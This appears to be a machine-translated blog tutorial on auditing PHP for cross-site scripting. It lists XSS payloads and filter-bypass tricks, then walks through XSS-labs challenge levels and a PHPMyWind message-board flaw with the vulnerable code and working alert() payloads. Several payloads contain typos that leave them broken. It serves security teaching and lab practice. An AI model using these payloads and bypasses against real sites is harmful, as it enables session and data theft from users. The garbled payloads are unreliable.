PHP code audit 5 - XSS vulnerability

1. Basics of XSS Vulnerabilities

1. Basic definition

Cross-site scripting attack (cross site script) is the HTML code that the attacker uses the website program to filter the user's input insufficiently, and the input content can be displayed on the page to affect other users, thereby stealing user information and using the user's identity to conduct certain An action or an attack method of virus infringement. To distinguish it from Cascading Style Sheets CSS, it is usually abbreviated as XSS.

2. Classification of XSS attacks

Reflective:

Reflective XSS attacks simply output data directly or without perfect security filtering in the browser, resulting in codes that may be executed by the browser in the output data. Since this kind of code usually exists in the URL, the attacker often needs to trick the victim into clicking the malicious link to carry out the attack.

storage type:

It means that the web application does not strictly filter the user input data, causing the web application to store the hacker's malicious cross-site attack script in the database or other forms of files. When the victim queries, the script content will be obtained and executed. This leads to stored cross-site scripting attacks.

DOM type:

DOM-type XSS attacks refer to XSS attacks formed by modifying DOM node data information. To carry out related attacks, it is necessary to analyze the JavaScript DOM code and use it according to the actual situation. DOM-type XSS attacks are similar to reflection-type XSS attacks, but the difference between DOM-type XSS attacks is that the javascript code is not processed by the backend, but is output after being processed by the frontend using javascript code.

3. Common attack methods

XSS attacks can be used in a variety of ways, including stealing user information, XSS stealing cookies, XSS phishing attacks, XSS worm attacks, inserting black links, click hijacking, keylogging, etc.

XSS is a passive attack, how to trick users into clicking is a big problem. It often involves deformation of URLs, short links, and embedding into other pages for clickjacking.

4. Common payloads and tools

Common attack methods:

  • Interline

    <div onclick="alert('yea...这样子可以执行JS哦')"></div>
    <a href="javascript:alert('执行JS代码但不跳转');">点我</a>
    <a href="javascript:void(0)" onclick="alert('点击执行JS代码');">再来点我啊</a>
    <img src=1 onerror=alert("XSS");>    #使用onerror事件在源地址加载错误时执行XSS代码
    <input onfocue=alert("XSS");>    #规定一个输入字段,在对象获得焦点时执行
    <details ontuggle=alert("xss");>  #一个提供用户开启和关闭功能的交互式可见或影藏补充内容的控件,ontoggle事件在用户打开元素时触发
    <svg onload=alert("XSS");>  #在HTML网页中嵌入SVG文件来引入JS代码
    <select onfocus=alert("XSS");></select> # <select>标签用于创建下拉列表,获得焦点时触发JS代码
    <iframe onload=alert("XSS");></iframe>    #<iframe>标签会创建一个包含另外一个文档的内联框架
    <video sourse=1 onerror=alert("XSS");>
      .........
    
  • External chain

    <script src="../test.js"></script>
    <img src=http://xxx.xxx/com/xxx.js> 
    .....
    
  • Embedded

     <script>
            alert('js hello world!');//弹窗
     </script>
    
  • Introduced through events

    常见的js事件:
     onchange:HTML元素已被改变时执行JS
     onclick: 当用户点击了 HTML 元素时执行JS
     onmouseover: 当用户把鼠标移动到 HTML 元素上时执行JS
     onmouseout: 当用户把鼠标移开 HTML 元素时执行JS
     onkeydown: 当用户按下键盘按键时执行JS
     onload:当浏览器已经完成页面加载时执行JS
     onerror: 当执行错误时加载JS代码
    

Common testing tools:

  • XSStrike: XSS testing tool written based on python3
  • XSSer: supports multi-platform operation

5. Common defense bypass techniques

  • Whitespace filter bypass:
    • Use "/" instead of spaces
    • eg: <img/src=1/onerror=alert("XSS");>
  • Quote filter bypass:
    • You can use no quotes in HTML, but you can use backticks "`" in JS
  • Bracket filtering bypass:
    • Bracket filtering can be bypassed using throw. The throw statement is used to throw an error when an error occurs
    • eg: <img src=x onerrror="javascript:windows.onerror=alert;throw 1">
  • Keyword filtering bypass:
    • case bypass
    • Double-writing bypass: Some WAFs may only detect and replace once, in which case double-writing bypassing can be considered
    • String concatenation bypass:
      • Using the eval() function, the same as PHP's eval function, JAVAscript's eval function can also execute javascript strings and execute it as a script. eg:<img src='x' onerror="a='aler';b='t';c='('XSS')';eval(a+b+c)">
      • Use the top() function: eg:<script>top['a'+'lert']('XSS')</script>
  • Character encoding bypass:
    • URL encoding bypasses URLdecolde+strReplace

2. Partial code analysis of XSS-labs

1. Level-3 analysis

First look at the code:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>	
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>

Here, the GET method is first used to obtain the incoming keyword, and then in the two output places, the htmlspecialChars() function is used to encode the HTML entity of the incoming result, and then single quotes are used to wrap the value of the value attribute.

We know that htmlspecialChars() will <,>,&,",',",@encode symbols, so we need to consider a way to use JS code without these symbols.

Looking at the code carefully, we know that it outputs our input content in the Value attribute of the input tag, then we can consider introducing JS events to make use of it, but the above symbols cannot exist in the JS code. Here is such a payload:

‘ οninput=alert(1) ’

When we enter this payload, our output will look like this:

<center>
<form action=level3.php method=GET>
<input name=keyword  value='' οninput=alert(1) ''>	
<input type=submit name=submit value=搜索 />
</form>
</center>

Since there are no special symbols in the JS code we input, it will not be escaped, and the single quotation marks used for closing before and after are encoded and output, and will also be parsed into quotation marks by the front end to successfully close the value attribute. However, a feature is also used here, that is, the output content of our alert() function does not need to be wrapped in quotation marks, so it can be bypassed.

practical testing:

insert image description here

2. Level-5 analysis

Or look at the code first:

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

It can be seen that the difference with Less-3 is quite big.
The first difference: the strtolower() function is used to convert the input content to lowercase.
Difference 2: The str_replace() function is used to replace on and <script for the input content, which means that all event and script tags cannot be used.
Difference 3: The output of the iuput box is not encoded with the htmlcpeailchar() function.

Since you can’t use js events and script tags, you can only think of other ways. Looking back at the XSS payload above, we can find that there is such a payload that can meet this condition (because it is in the tag line, you need to add quotation marks at the beginning and end and angle brackets):

"> <a href="javascript:alert(XSS);">点我</a> <"

practical testing:

insert image description here

3. Level-6 analysis

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>

It is the same routine as Less-5, but the src, href, and data are also filtered, which is difficult to do.

However, there are always methods. We observed carefully and found that the strtolower() function was not used to convert to lowercase, so the uppercase and lowercase can be bypassed. paylaod:

"><sCript>alert(123)</FScripT>

insert image description here

4. Level-10 analysis

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

From the above code, we can see that a total of two parameters are obtained, the first is keyword, and the other is t_sort.

For our keyword parameter, the htmlspecailchar() function is used for encoding output. Since it is not embedded in the line, there is no way to bypass the closure. Only the t_sort parameter can be considered.

The t_sort parameter uses the str_replace() function to replace "<" and ">", but it does not perform html entity encoding output and other operations, so just take the payload without "<" and ">". The payload is as follows:

" type="text" onclick="alert('xss');

Test Results:

insert image description here

3. Example: PHPmyWind XSS Vulnerability Analysis

Vulnerability details: In the PHPMyWind5.4 customer message, due to the improper processing of the message content, the XSS attack code inserted by the attacker can be triggered when the management, modification, restoration and modification of the message content are performed.

First, we insert one-hop message data in the customer message position on the homepage, and then capture the packet to observe the position where the data is submitted:

insert image description here

It can be seen that the content of our message is passed using the content parameter and passed to the message.php file. We enter the message.php file to analyze its code:

insert image description here

It can be seen that on line 28, the htmlspecialchars() function is used to escape the entity encoding, and then it is inserted into the database on line 34. In fact, there is no problem here. Entity encoding is theoretically safer.

But we came to the background message management place, according to the vulnerability description, elected to modify the message, and captured the packet:

insert image description here

It can be seen that the customs clearance ID locates the content of our message, and the requested back-end file is message_update.php. Let's go into the modified file and analyze the code:

insert image description here

On the 15th line of the code, the content of the message is queried through the id, and then on the 30th line, echo is directly used to output our js code into the text field.

Although the HTM entity encoding has been performed, the output position is directly output to the htm code, not output as attribute content, so the html entity encoding has no practical effect. The following is the actual effect after output:

insert image description here

Guess you like

Origin blog.csdn.net/qq_45590334/article/details/125989941